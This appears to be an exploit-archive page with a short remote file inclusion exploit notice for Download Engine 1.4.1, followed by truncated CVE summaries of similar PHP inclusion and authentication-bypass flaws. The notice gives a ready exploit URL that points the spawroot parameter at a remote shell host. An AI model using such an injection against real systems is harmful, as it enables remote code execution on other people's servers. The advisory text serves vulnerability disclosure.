download engine V1.4.1 >> RFI (local)

VENDOR :http://www.alexscriptengine.com/ BY : s3rv3rhack3r hackerz.ir admin bug: downloadengine/admin/includes/spaw/dialogs/insertlink.php = include $spawroot.'class/lang.class.php'; Exloit: http://victim/admin/includes/spaw/dialogs/insertlink.php?spawroot=http://shell...

CVE-2007-2289: Undefined Security Weakness

PHP remote file inclusion vulnerability in admin/includes/spaw/dialogs/insertlink.php in download engine Download-Engine 1.4.1 allows remote authenticated users to execute arbitrary PHP code via a URL in the spawroot parameter, a different vector than CVE-2007-2255. NOTE: this may be an issue in...

CVE-2006-5507

Multiple PHP remote file inclusion vulnerabilities in Der Dirigent DeDi 1.0.3 allow remote attackers to execute arbitrary PHP code via a URL in the cfgdedidedipath parameter in 1 find.php, 2 insertline.php, 3 fullscreen.php, 4 changecase.php, 5 insertlink.php, 6 inserttable.php, 7...

CVE-2005-4006: Improper Authentication

SAPID CMS before 1.2.3.03 allows remote attackers to bypass authentication via direct requests to the usr/system files 1 insertfile.php, 2 insertimage.php, 3 insertlink.php, 4 insertqcfile.php, and 5 edit.php...